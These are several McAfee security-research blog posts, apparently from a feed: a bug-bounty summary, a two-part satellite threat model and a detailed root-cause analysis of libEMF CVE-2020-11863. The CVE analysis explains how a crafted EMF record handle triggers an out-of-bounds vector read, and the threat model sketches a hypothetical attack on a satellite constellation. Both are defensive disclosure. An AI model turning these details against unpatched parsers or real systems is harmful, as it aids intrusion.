The post Celebrating multi-national cultures this Hispanic Heritage Month appeared first on McAfee Blogs.
From June to August, part of the McAfee Advanced Threat Research (ATR) team participated in Microsoft’s Azure Sphere Research Challenge. Our research resulted in reporting multiple vulnerabilities classified by Microsoft as “important” or “critical” in the platform that, to date, have qualified for over $160,000 USD in bounty awards scheduled to be contributed to the ACLU ($100,000), St. Jude’s Children’s Research Hospital ($50,000) and PDX Hackerspace (approximately $20,000). With these contributions, we hope to support and give back both to our local hacker community that has really stepped up to help during the COVID crisis, and also recognize, at a larger scale, the importance to protect and further civil liberties and the wellbeing of those most in need.
This blog post is a high–level overview of the program, why we choose to take part in it, and a brief description of our findings. A detailed technical walkthrough of our findings can be found here.
Additionally, Microsoft has released two summary blogs detailing the Azure Sphere Bounty Program as a whole, including McAfee’s efforts and findings. They can be found here:
In late May Microsoft started a new bug bounty program for its Azure Sphere platform. Azure Sphere is a hardened IoT device with a secure communication link to the cloud that has been in development for the last few years and reached general availability in early 2020. Microsoft designed and built it from scratch to ensure every aspect of it is as secure as possible, per their security model. To put the theory to test, Microsoft invited a few select partners and hackers to try their best to defeat its security measures.
The Azure sphere team came up with multiple scenarios that would test the security model of the device and qualify for an increased payout from the regular Azure Bug Bounty program. These scenarios range from the ability to bypass certain security measures, to executing code in the hardware enabled secure core of the device.
Research scenarios specific to the Azure Sphere Research Challenge
There are multiple reasons why we were keen to participate in this program. First, as security researchers, the Azure Sphere platform is an exciting new research target that has been built from the ground up with security in mind. It showcases what might become of the IoT space in the next few years as legacy platforms are slowly phased out. Being at the forefront of what is being done in the IoT space ensures our research remains current and we are ready to tackle future new challenges. Second, by finding critical bugs in this new platform we help make it more secure and offer our support to make the IoT space increasingly resistant to cyber threats. Finally, as this is a bug bounty program, we decided from the start that we would donate any award we received to charity, thus using our skills to contribute to the social good of our local communities and support causes that transcend the technology sector.
We’ve reported multiple bugs to Microsoft as a result of our research that were rated Important or Critical:
This research was an exciting opportunity to look at a new platform with very little prior research, while still being in the familiar territory of an ARM device running a hardened Linux operating-system.
Through the bugs we found we were able to get a full chain exploit from a locked device to having root access. However, the Azure Sphere platform has many more security features such as remote attestation, and a hardware enabled secure core that is still holding strong.
Finally, we want to thank Microsoft for the opportunity of participating in this exciting program, and the bounty awards.
The post Our Experiences Participating in Microsoft’s Azure Sphere Bounty Program appeared first on McAfee Blogs.
McAfee Advanced Threat Research (ATR) is collaborating with Cork Institute of Technology (CIT) and its Blackrock Castle Observatory (BCO) and the National Space Center in Cork, Ireland
In the first of this two-part blog series we introduced Space 4.0, its data value and how it looks set to become the next battleground in the defense against cybercriminals. In part two we discuss the architectural components of Space 4.0 to threat model the ecosystem from a cybersecurity perspective and understand what we must do to secure Space 4.0 moving forward.
A satellite is composed of a payload and a bus. The payload is the hardware and software required for the mission or satellite’s specific function, such as imaging equipment for surveillance. The bus consists of the infrastructure or platform that houses the payload, such as thermal regulation and command and control. Small satellites are space craft typically weighing less than 180 kilograms and, within that class of satellites, is what we call nanosatellites or nanosats which typically weigh between 1-10 kilograms. Cubesats are a class of nanosat so you will often hear the term used interchangeably, and for the context of Space 4.0 security, we can assume they are the same device. Nanosats significantly reduce launch costs due to their small size and the fact that many of these devices can be mounted on board a larger single satellite for launch.
Commercial off-the-shelf (COTS) Cubesats typically use free open source software such as FreeRTOS or KubOS for the on-board operating system. However, other systems are possible, with drivers available for most of the hardware on Linux and Windows OS. KubOS is an open source flight software framework for satellites and has cloud-based mission control software, Major Tom, to operate nanosats or a constellation. We mention KubOS here as it is a good example of what the current Space 4.0 operating model looks like today. While we have not reviewed KubOS from a security perspective, developing a secure framework for satellites is the right path forward, allowing mission developers to focus on the payload.
Some of the use cases available with Cubesats are:
KubOS is “creating a world where you can operate your small satellite from your web browser or iPhone”. KubOS’ objective is to allow customers to send bits and not rockets to space and it is defining a new era of software-designed satellites. The satellite model is changing from relay type devices to remote computers in space using COTS components and leveraging TCP/IP routing capabilities. This model shift also means that there is more software executing on these satellites and more complex payload processing or interaction with the software stack and hence more attack surface.
To date, attacks on satellite systems from a cybersecurity perspective have typically been in the context of VSAT terminals, eavesdropping and hijacking. While there have been vulnerabilities found in the VSAT terminal software and its higher-level custom protocols, there seems to have been no focus and vulnerabilities discovered within the network software stack of the satellite itself. This may be since satellites are very expensive, as well as closed source, so not accessible to security researchers or cybercriminals, but this security by obscurity will not provide protection with the new era of nanosats. Nanosats use COTS components which will be accessible to cybercriminals.
Due to the closed nature of satellites there has not been much published on their system hardware and software stack. However, the Consultative Committee for Space Data Systems (CCSDS), which develops standards and specifications including protocols for satellite communications, does give some insight. The CCSDS technical domains are:
The CCSDS standards are divided into color codes to represent recommended standards and practices versus informational and experimental. This is a very large source of data communications for satellite designers to aid them in a reference for implementation. However, as we have observed over the cyber threat landscape of the past few decades, secure standards and specifications for hardware, software and protocols do not always translate to secure implementation. The CCSDS defines a TCP/IP stack suitable for transmission over space datalinks as per figure 1 below. Satellites that become more connected, just like any other device on the internet, their network and protocol software stack will become more accessible and targeted. As we discussed in part 1 <insert link> of our Space 4.0 blog series, there have been many TCP/IP and remote protocol related vulnerabilities in both embedded devices and even state of the art operating systems such as Windows 10. The TCP/IP stack and remote protocol implementations are a common source of vulnerabilities due to the complexities of parsing in unsafe memory languages such as C and C++. There does not appear to be any open source implementations of the CCSDS TCP/IP protocol stack.
Figure 1 – CCSDS Space communications protocols reference model
The CubeSat Protocol (CSP) is a free open source TCP/IP stack implementation for communication over space datalinks, similar to the CCSDS TCP/IP stack. The CSP protocol library is implemented in C, open source and implemented in many Cubesats that have been deployed to space. The protocol can be used for communication from ground station to satellite, inter-satellite and the intra-satellite communication bus. There have been 3 vulnerabilities to date reported in this protocol.
Figure 2 below shows what a Cubesat architecture looks like from a trust boundary perspective relative to the satellite and other satellites within the constellation and the earth.
Figure 2 – Space LEO Cubesat architecture trust boundaries
No hardware, software, operating system or protocol is completely free of vulnerabilities. What is important from a security perspective is:
As these low-cost satellites get launched in our LEO and become more connected, any exposed technology stack will become increasingly targeted by cybercriminals.
This Space 4.0 threat model focuses on the cybercriminal and how they can exploit Space 4.0 data for monetization. The following Space 4.0 factors will make it more accessible to cybercriminals:
Space security has typically been analyzed from the perspective of ground segment, communications or datalink and space segment. Additionally, the attack classes have been categorized as electronic (jamming), eavesdropping, hijacking and control. Per figure 3 below, we need to think about Space 4.0 with a cybersecurity approach due to the increased connectivity and data, as opposed to the traditional approach of ground, communication and space segments. Cybercriminals will target the data and systems as opposed to the RF transmission layer.
Figure 3 – Space 4.0 threat modeling architecture
It is important to consider the whole interconnectivity of the Space 4.0 ecosystem as cybercriminals will exploit any means possible, whether that be direct or indirect access (another trusted component). Open source networked ground stations such as SatNOGs and the emerging NyanSat are great initiatives for space research but we should consider these in our overall threat model as they provide mass connectivity to the internet and space.
The traditional space security model has been built on a foundation of cost as a barrier to entry and perimeter-based security due to lack of physical access and limited remote access to satellites. However, once a device is connected to the internet the threat model changes and we need to think about a satellite as any other device which can be accessed either directly or indirectly over the internet.
In addition, if a device can be compromised in space remotely or through the supply chain, then that opens a new attack class of space to cloud/ground attacks.
Users and trusted insiders will always remain a big threat from a ground station perspective, just like enterprise security today, as they can potentially get direct access to the satellite control.
The movement of ground services to the cloud is a good business model if designed and implemented securely, however a compromise would impact many devices in space being controlled from the GSaaS. It is not quite clear where the shared responsibility starts and ends for the new SataaS and GSaaS Space 4.0 service models but the satellite key management system (KMS), data, GSaaS credentials and analytics intellectual property (this may reside in the user’s environment, the cloud or potentially the satellite but for the purposes of this threat model we assume the cloud) will be much valued assets and targeted.
From the Cyber and Space Threat Landscape review in part 1 <insert link>, combined with our understanding of the Space 4.0 architecture and attack surfaces, we can start to model the threats in Table 1 below.
Table 1 – Space 4.0 threats, attack classes and layers, and attack vectors
Based on the above threat model, let’s discuss a real credible threat and attack scenario. From our Space cyber threat landscape review in part 1 of this blog series, there were attacks on ground stations in 2008 at the Johnson Space Center and for a Nasa research satellite. In a Space 4.0 scenario, the cybercriminal attacks the ground station through phishing to get access to satellite communications (could also be a supply chain attack to get a known vulnerable satellite system into space). The cybercriminal uses an exploit being sold on the underground to exploit a remote wormable vulnerability within the space TCP/IP stack or operating system of the satellite in space, just like we saw EternalBlue being weaponized by WannaCry. Once the satellite has been compromised the malware can spread between satellite vendors using their ISL communication protocol to propagate throughout the constellation. Once the constellation has been compromised the satellite vendor can be held to ransom, causing major disruption to Space 4.0 data and/or critical infrastructure.
Establishing a trustworthy Space 4.0 ecosystem is going to require strong collaboration between cyber threat research teams, government, commercial and academia in the following areas:
Space 4.0 is moving very fast with GSaaS, SataaS and talk of space data centers and high-speed laser ISL; security should not be an inhibitor for time to market but a contributor to ensure that we have a strong security foundation to innovate and build future technology on with respect to the evolving threat landscape. Space communication predates the Internet so we must make sure any legacy limitations which would restrict this secure foundation are addressed. As software complexity for on board processing and connectivity/routing capability increases by moving to the edge (space device) we will see vulnerabilities within the Space 4.0 TCP/IP stack implementation.
This is a pivotal time for the secure advancement of Space 4.0 and we must learn from the mistakes of the past with IoT where the rush to adopt new and faster technology resulted in large scale deployment of insecure hardware and software. It has taken much effort and collaboration between Microsoft and the security research community since Bill Gates announced the Trustworthy Computing initiative in 2002 to arrive at the state-of-the-art Windows 10 OS with hardware enabled security. Likewise, we have seen great advancements on the IoT side with ARM Platform Security Architecture and Azure Sphere. Many security working groups and bodies have evolved since 2002, such as the Trust Computing Group, Confidential Computing Consortium, Trusted Connectivity Alliance and Zero Trust concept to name a few. There are many trustworthy building block primitives today to help secure Space 4.0, but we must leverage at the concept phase of innovation and not once a device has been launched into space; the time is now to secure our next generation infrastructure and data source. Space security has not been a priority for governments to date but that seems all set to change with the “Memorandum on Space Policy Directive-5—Cybersecurity Principles for Space Systems”.
We should pause here for a moment and recognize the recent efforts from the cybersecurity community to secure space, such as the Orbital Security Alliance, S-ISAC, Mantech and Defcon Hack-a-Sat.
KubOS is being branded as the Android of space systems and we are likely to see a myriad of new software and hardware emerge for Space 4.0. We must work together to ensure Space 4.0 connectivity does not open our global connectivity and infrastructure dependency to the next Mirai botnet or WannaCry worm on LEO.
McAfee would like to thank Cork Institute of Technology (CIT) and its Blackrock Castle Observatory (BCO) and the National Space Center (NSC) in Cork, Ireland for their collaboration in our mission to secure Space 4.0.
The post Securing Space 4.0 – One Small Step or a Giant Leap? Part 2 appeared first on McAfee Blogs.
McAfee Advanced Threat Research (ATR) is collaborating with Cork Institute of Technology (CIT) and its Blackrock Castle Observatory (BCO) and the National Space Center (NSC) in Cork, Ireland
The essence of Space 4.0 is the introduction of smaller, cheaper, faster-to-the-market satellites in low-earth-orbit into the value chain and the exploitation of the data they provide. Space research and communication prior to Space 4.0 was primarily focused on astronomy and limited to that of governments and large space agencies. As technology and society evolves to consume the “New Big Data” from space, Space 4.0 looks set to become the next battleground in the defense against cybercriminals. Space 4.0 data can range from earth observation sensing to location tracking information and applied across many vertical uses cases discussed later in this blog. In the era of Space 4.0 the evolution of the space sector is rapidly changing with a lower cost of launching, combined with public and private partnerships that open a whole new dimension of connectivity. We are already struggling to secure our data on earth, we must now understand and secure how our data will travel through space constellations and be stored in cloud data centers on earth and in space.
Low Earth Orbit (LEO) satellites are popular for scientific usage but how secure are they? The Internet of Things (IoT) introduced a myriad of insecure devices onto the Internet due to the low cost of processors and high-speed connectivity, but the speed in its adoption resulted in a large fragmentation of insecure hardware and software across business verticals.
Space 4.0 is now on course for a similar rapid adoption with nanosats as we prepare to see a mass deployment of cheap satellites into LEO. These small satellites are being used across government, academic and commercial sectors for different use cases that require complex payloads and processing. Many nanosats can coexist on a single satellite. This means that the same satellite backbone circuit infrastructure can be shared, reducing build and launch costs and making space data more accessible.
To date, satellites have typically been relay type devices repeating signals to and from different locations on earth in regions with poor internet connectivity, but that is all set to change with a mass deployment of smarter satellite devices using inter-satellite links (ISL) in constellations like Starlink which aim to provide full high speed broadband global coverage. As the Space 4.0 sector is moving from private and government sectors to general availability, this makes satellites more accessible from a cost perspective, which will attract threat actors other than nation states, such as cyber criminals. Space 4.0 also brings with it new service delivery models such as Ground Station as a Service (GSaaS) with AWS and Azure Orbital and Satellite as a Service (SataaS). With the introduction of these, the satellite will become another device connecting to the cloud.
In our research we analyze the ecosystem to understand the latest developments and threats in relation to cybersecurity in space and whether we are ready to embrace Space 4.0 securely.
What is the Industrial 4th Revolution? The original industrial revolution started with the invention of steam engines then electricity, computers and communication technology. Industry 4.0 is about creating a diverse, safe, healthy, just world with clean air, water, soil and energy, as well as finding a way to pave the path for the innovations of tomorrow.
The first space era, or Space 1.0, was the study of astronomy, followed by the Apollo moon landings and then the inception of the International Space Station (ISS). Space 4.0 is analogous to Industry 4.0, which is considered as the unfolding fourth industrial revolution of manufacturing and services. Traditionally, access to space has been the domain of governments and large space agencies (such as NASA or the European Space Agency) due to the large costs involved in the development, deployment and operation of satellites. In recent years, a new approach to using space for commercial, economic and societal good has been driven by private enterprises in what is termed New Space. When combined with the more traditional approach to space activity, the term “Space 4.0” is used. Space 4.0 is applicable across a wide range of vertical domains, including but not limited to:
The Cyber Threat Landscape has evolved greatly over the past 20 years with the convergence of Information Technology (IT), Operational Technology (OT) and IoT. Protecting consumers, enterprises and critical infrastructure with the rapid parallel innovation of technology and cybercriminals is a constant challenge. While technology and attacks evolve rapidly the cybercriminal motive remains a constant; make money and maximize profit by exploiting a combination of users and technology.
Cybercriminals have much more capabilities now than they did 10 years ago due to the rise of Cybercrime as a Service (CaaS). Once an exploit for a vulnerability has been developed, it can then be weaponized into an exploit kit or ransomware worm, such as WannaCry. Cybercriminals will follow the path of least resistance to achieve their goal of making money.
Nearly every device class across the business verticals, ranging from medical devices to space Very-small-aperture terminals (VSAT), have been hacked by security researchers, as evident from Blackhat and Defcon trends.
From a technology stack perspective (hardware and software) there have been vulnerabilities discovered and exploits developed across all layers where we seek to establish some form of trustworthiness when connected to the internet; browsers, operating systems, protocols, hypervisors, enclaves, cryptographic implementations, system on chips (SoC) and processors.
Not all these vulnerabilities and exploits become weaponized by cybercriminals, but it does highlight the fact that the potential exists. Some notable weaponized exploits are:
Some recent major industry vulnerabilities were: BlueKeep (Windows RDP Protocol), SMBGhost (Windows SMB Protocol), Ripple20 (Treck embedded TCP/IP library), Urgent 11 (VxWorks TCP/IP library), Heartbleed (OpenSSL library), Cloudbleed (Cloudflare), Curveball (Microsoft Crypto API), Meltdown and Spectre (Processor side channels).
Cybercriminals will adapt quickly to maximize their profit as we saw with the COVID-19 pandemic and the mass remote workforce. They will quickly understand the operating environment changes and how they can reach their goals by exploiting users and technology, whichever is the weakest link. The easiest entry point into an organization will be through identity theft or weak passwords being used in remote access protocols such as RDP.
Cybercriminals moved to the Dark Web to hide identity and physical location of servers or using bullet-proof providers to host their infrastructure. What if these services are hosted in space? Who is the legal entity and who is responsible?
McAfee Enterprise Supernova Cloud analysis reports that:
The transition to the cloud, when done securely, is the right business decision. However, when not done securely it can leave your services and data/data lakes accessible to the public through misconfigurations (shared responsibility model), insecure APIs, and identity and access management issues. Attackers will always go for the low hanging fruit such as open AWS buckets and credentials through vendors in the supply chain.
One of the key initiatives, and now industry benchmark, is the MITRE ATT&CK framework which enumerates the TTPs from real word incidents across Enterprise (Endpoint and Cloud), Mobile and ICS. This framework has proved to be very valuable in enabling organizations to understand adversary TTPs and the corresponding protect, detect and response controls required in their overall defense security architecture. We may well see a version of MITRE ATT&CK evolve for Space 4.0.
Threat actors know no boundaries as we have seen criminals move from traditional crime to cybercrime using whatever means necessary to make money. Likewise, technology communication traverses many boundaries across land, air, sea and space. With the reduced costs to entry and the commercial opportunities with Space 4.0 big data, we expect to see cybercriminals innovating within this huge growth area. The Cyber Threat Landscape can be divided into vulnerabilities discovered by security researchers and actual attacks reported in the wild. This allows us to understand the technologies within the space ecosystem that are known to contain vulnerabilities and what capabilities threat actors have and are using in the wild.
Vulnerabilities discovered to date have been within VSAT terminal systems and intercepting communications. There have been no vulnerabilities disclosed on actual satellites from figure 1 below.
Figure 1 – Security Researcher space vulnerability disclosures
To date, satellites have mostly been controlled by governments and the military so little information is available as to whether an actual satellite has been hacked. We do expect to see that change with Space 4.0 as these satellites will be more accessible from a hardware and software perspective to do security analysis. Figure 2 below highlights reported attacks in the wild
Figure 2 – Reported Attacks in the Wild
In McAfee’s recent threat research, “Operation North Star”, we observed an increase in malicious cyber activity targeting the Aerospace and Defense industry. The objective of these campaigns was to gather information on specific programs and technologies.
Since the introduction of the cloud, it appears everything has become a device that interacts with a service. Even cybercriminals have been adapting to the service model. Space 4.0 is no different as we start to see the adoption of the Ground Station as a Service (GSaaS) and Satellite as a Service (SataaS) models per figure 3 below. These services are opening in the space sector due to the acceleration of vendors into Space 4.0 to help keep their costs down. Like any new ecosystem this will bring new attack surfaces and challenges which we will discuss in the Threat Modelling section.
Figure 3 – New Devices and Services for Space 4.0
So, with the introduction of cheap satellites using commercial off-the-shelf (COTS) components and new cloud services is it just a matter of time before we see mass satellite attacks and compromise?
The global space industry grew at an average rate of 6.7% per year between 2005 and 2017 and is projected to rise from its current value of $350 billion to $1.3 trillion per annum by 2030. This rise is driven by new technologies and business models which have increased the number of stakeholders and the application domains which they service in a cost-effective way. The associated increase in data volume and complexity has, among other developments, resulted in increasing concerns over the security and integrity of data transfer and storage between satellites, and between ground stations and satellites.
The McAfee Supernova report shows that data is exploding out of enterprises and into the cloud. We are now going to see the same explosion from Space 4.0 to the cloud as vendors race to innovate and monetize data from low cost satellites in LEO.
According to Microsoft the processing of data collected from space at cloud-scale to observe the Earth will be “instrumental in helping address global challenges such as climate change and furthering of scientific discovery and innovation”. The value of data from space must be viewed from the perspective of the public and private vendors who produce and consume such data. Now that satellite launch costs have reduced, producing this data becomes more accessible to commercial markets, so we are going to see much innovation in data analytics to improve our lives, safety and preservation of the earth. This data can be used to improve emergency response times to save lives, monitoring illegal trafficking, aviation tracking blind spots, government scientific research, academic research, improving supply chains and monitoring the earth’s evolution, such as climate change effects. Depending on the use case, this data may need to be confidential, may have privacy implications when tracking and may have substantial value in the context of new markets, innovation and state level research. It is very clear that data from space will have much value as new markets evolve, and cybercriminals will most certainly target that data with the intent to hold organizations to ransom or sell data/analytics innovation to competitors to avoid launch costs. Whatever the use case and value of the data traveling through space may be, we need to ensure that it moves securely by providing a trustworthy end to end ecosystem.
As we progress towards the sixth digital era, our society, lives and connectivity will become very dependent on off-planet data and technology in space, starting with SataaS.
In Part 2 we will discuss remote computers in Space, the Space 4.0 threat model and what we must do to secure Space 4.0 moving forward.
McAfee would like to thank Cork Institute of Technology (CIT) and their Blackrock Castle Observatory (BCO) and the National Space Center (NSC) in Cork, Ireland for their collaboration in our mission to securing Space 4.0.
The post Securing Space 4.0 – One Small Step or a Giant Leap? Part 1 appeared first on McAfee Blogs.
At McAfee, we support team members who are passionate about giving back. You are encouraged and empowered to make a substantial impact in improving our community and volunteering to help others.
Piyush, a Software architect in our Bangalore office, is a team member particularly passionate about his community and has dedicated countless hours volunteering at the Sheila Kothavala Institute for the Deaf (SKID).
Two years ago, his impact was multiplied when he shared his volunteer story during McAfee’s Social Initiative Contest (SIC), a program that contributes resources to the causes important to select employees who volunteer for non-governmental organizations (NGO).
Moved by Piyush’s story, the judges funded his program for two years in a row! Funding enhanced infrastructure of a special school for hearing impaired kids and provided a tactile library that helps visually impaired students see the world through touch.
We asked Piyush four questions to learn more.
How did you get involved?
I’m a son of educators. My father was a principal and my mother was a university senior lecturer. The importance of educational success runs deep for me. Seven years ago, I found my own educational calling when I was introduced to the Sheila Kothavala Institute for the Deaf (SKID), an organization that supports the education of differently-abled students and equips them to successfully graduate high school.
How often do you volunteer?
What started as a weekend volunteer endeavor soon grew into an every-morning commitment. Before going into work at McAfee, I dedicate an hour each morning teaching math and volunteering with students at SKID.
What has helped you the most in your volunteer journey?
Figuring out how to communicate with hearing–impaired kids was a challenge for me. However, the immense support I received from the kids helped to relieve a lot of the pressure. I started to learn sign language along with them and became more effective at teaching. Spending time every day with these kids has motivated me in unexpected ways. Not only do I want to do as much as I can for them, but I also find myself more engaged at work. I’m thankful McAfee supports our passions in and out of the office.
Describe how your involvement evolved with SKID. What do you hope to accomplish in the future?
First, I want to thank McAfee for their encouragement as I can take my volunteer activities to greater heights and accomplish even more through their support. With the funds McAfee awarded, I was able to establish a complete science lab and build an interactive curriculum that complements day-to-day learning, procure games catered towards kids with special needs, and build a tactile library for visually impaired students.
After volunteering seven years with hearing-impaired students, this year, I’ve taken it upon myself to work more with the visually impaired. The joy on the faces of these kids continues to motivate me to do even more!
Piyush is a stunning example of how one person’s selfless contributions have the power to inspire others and spark change on a large scale. He continues to inspire, not just through his unrelenting dedication to helping others, but through his words by encouraging others to take simple steps in giving back.
Looking to work for a company that supports the extraordinary contributions of their team members? Search our job opportunities.
The post How Piyush’s remarkable efforts ignited a larger impact of giving back appeared first on McAfee Blogs.
Open Source projects are the building blocks of any software development process. As we indicated in our previous blog, as more and more products use open source code, the increase in the overall attack surface is inevitable, especially when open source code is not audited before use. Hence it is recommended to thoroughly test it for potential vulnerabilities and collaborate with developers to fix them, eventually mitigating the attacks. We also indicated that we were researching graphics libraries in Windows and Linux, reporting multiple vulnerabilities in Windows GDI as well as Linux vector graphics library libEMF. We are still auditing many other Linux graphics libraries since these are legacy code and have not been strictly tested before.
In part 1 of this blog series, we described in detail the significance of open source research, by outlining the vulnerabilities we reported in the libEMF library. We also highlighted the importance of compiling the code with memory sanitizers and how it can help detect a variety of memory corruption bugs. In summary, the Address Sanitizer (ASAN) intercepts the memory allocation / deallocation functions like malloc () / free() and fills out the memory with the respective fill bytes (malloc_fill_byte / free_fill_byte). It also monitors the read and write to these memory locations, helping detect erroneous access during run time.
In this blog, we provide a more detailed analysis for one of the reported vulnerabilities, CVE-2020-11863, which was due to the use of uninitialized memory. This vulnerability is related to CVE-2020-11865, a global object vector out of bounds memory access in the GlobalObject::Find() function in libEMF. However, the crash call stack turned out to be different, which is why we decided to examine this further and produce this deep dive blog.
The information provided by the ASAN was sufficient to reproduce the vulnerability crash outside of the fuzzer. From the ASAN information, the vulnerability appeared to be a null pointer dereference, but this was not the actual root cause, as we will discuss below.
Looking at the call stack, it appears that the application crashed while dynamically casting the object, for which there could be multiple reasons. Out of those possible reasons that seem likely, either the application attempted to access the non-existent virtual table pointer, or the object address returned from the function was a wild address accessed when the application crashed. Getting more context about this crash, we came across an interesting register value while debugging. Below shows the crash point in the disassembly indicating the non-existent memory access.
If we look at the state of the registers at the crash point, it is particularly interesting to note that the register rdi has an unusual value of 0xbebebebebebebebe. We wanted to dig a little deeper to check out how this value got into the register, resulting in the wild memory access. Since we had the source of the library, we could check right away what this register meant in terms of accessing the objects in memory.
Referring to the Address Sanitizer documentation, it turns out that the ASAN writes 0xbe to the newly allocated memory by default, essentially meaning this 64-bit value was written but the memory was not initialized. The ASAN calls this as the malloc_fill_byte. It also does the same by filling the memory with the free_fill_byte when it is freed. This eventually helps identify memory access errors.
This nature of the ASAN can also be verified in the libsanitizer source here. Below is an excerpt from the source file.
Looking at the stack trace at the crash point as shown below, the crash occurred in the SelectObject() function. This part of the code is responsible for processing the EMR_SELECTOBJECT record structure of the Enhanced Meta File (EMF) file and the graphics object handle passed to the function is 0x80000018. We want to investigate the flow of the code to check if this is something which comes directly from the input EMF file and can be controlled by an attacker.
In the SelectObject() function, while processing the EMR_SELECTOBJECT record structure, the handle to the GDI object is passed to GlobalObjects.find() as shown in the above code snippet, which in turn accesses the global stock object vector by masking the higher order bit from the GDI object handle and converting it into the index, eventually returning the stock object reference from the object vector using the converted index number. Stock object enumeration specifies the indexes of predefined logical graphics objects that can be used in graphics operations documented in the MS documentation. For instance, if the object handle is 0x8000018, this will be ANDed with 0x7FFFFFFF, resulting in 0x18, which will be used as the index to the global stock object vector. This stock object reference is then dynamically cast into the graphics object, following which EMF::GRAPHICSOBJECT member function getType ( ) is called to determine the type of the graphics object and then, later in this function, it is again cast into an appropriate graphics object (BRUSH, PEN, FONT, PALETTE, EXTPEN), as shown in the below code snippet.
EMF::GRAPHICSOBJECT is the class derived from EMF::OBJECT and the inheritance diagram of the EMF::OBJECT class is as shown below.
However, as mentioned earlier, we were interested in knowing if the object handle, passed as an argument to the SelectObject function, can controlled by an attacker. To be able to get context on this, let us look at the format of the EMR_SELECTOBJECT record as shown below.
As we notice here, ihObject is the 4-byte unsigned integer specifying the index to the stock object enumeration. In this case the stock object references are maintained in the global objects vector. Here, the object handle of 0x80000018 implies that index 0x18 will be used to access the global stock object vector. If, during this time, the length of the object vector is less then 0x18 and the length check is not done prior to accessing the object vector, it will result in out of bounds memory access.
Below is the visual representation of processing the EMR_SELECTOBJECT metafile record.
While debugging this issue, we enable a break point at GlobalObjects.find () and continue until we have object handle 0x80000018; essentially, we reach the point where the above highlighted EMR_SELECTOBJECT record is being processed. As shown below, the object handle is converted into the index (0x18 = 24) to access the object vector of size (0x16 = 22), resulting into out of bounds access, which we reported as CVE-2020-11865.
Further stepping into the code, it enters the STL vector library stl_vector.h which implements the dynamic expansion of the std::vectors. Since the objects vector at this point of time has only 22 elements, the STL vector will expand the vector to the size indicated by the parameter highlighted, accessing the vector by passed index, and will return the value at that object reference, as shown in the below code snippet, which comes out to be 0xbebebebebebebebe as filled by the ASAN.
The code uses the std:allocator to manage the vector memory primarily used for memory allocation and deallocation. On further analysis, it turns out that the value returned, 0xbebebebebebebebe in this case, is the virtual pointer of the non-existent stock object, which is dereferenced during dynamic casting, resulting in a crash.
As mentioned in our earlier blog, the fixes to the library have been released in a subsequent version, available here.
While using third party code in products certainly saves time and increases development speed, it potentially comes with an increase in the volume of vulnerabilities, especially when the code remains unaudited and integrated into products without any testing. It is extremely critical to perform fuzz testing of the open source libraries used, which can help in discovering vulnerabilities earlier in the development cycle and provides an opportunity to fix them before the product is shipped, consequently mitigating attacks. However, as we emphasized in our previous blog, it is critical to strengthen the collaboration between vulnerability researchers and the open source community to continue responsible disclosures, allowing the maintainers of the code to address them in a timely fashion.
The post Vulnerability Discovery in Open Source Libraries: Analyzing CVE-2020-11863 appeared first on McAfee Blogs.
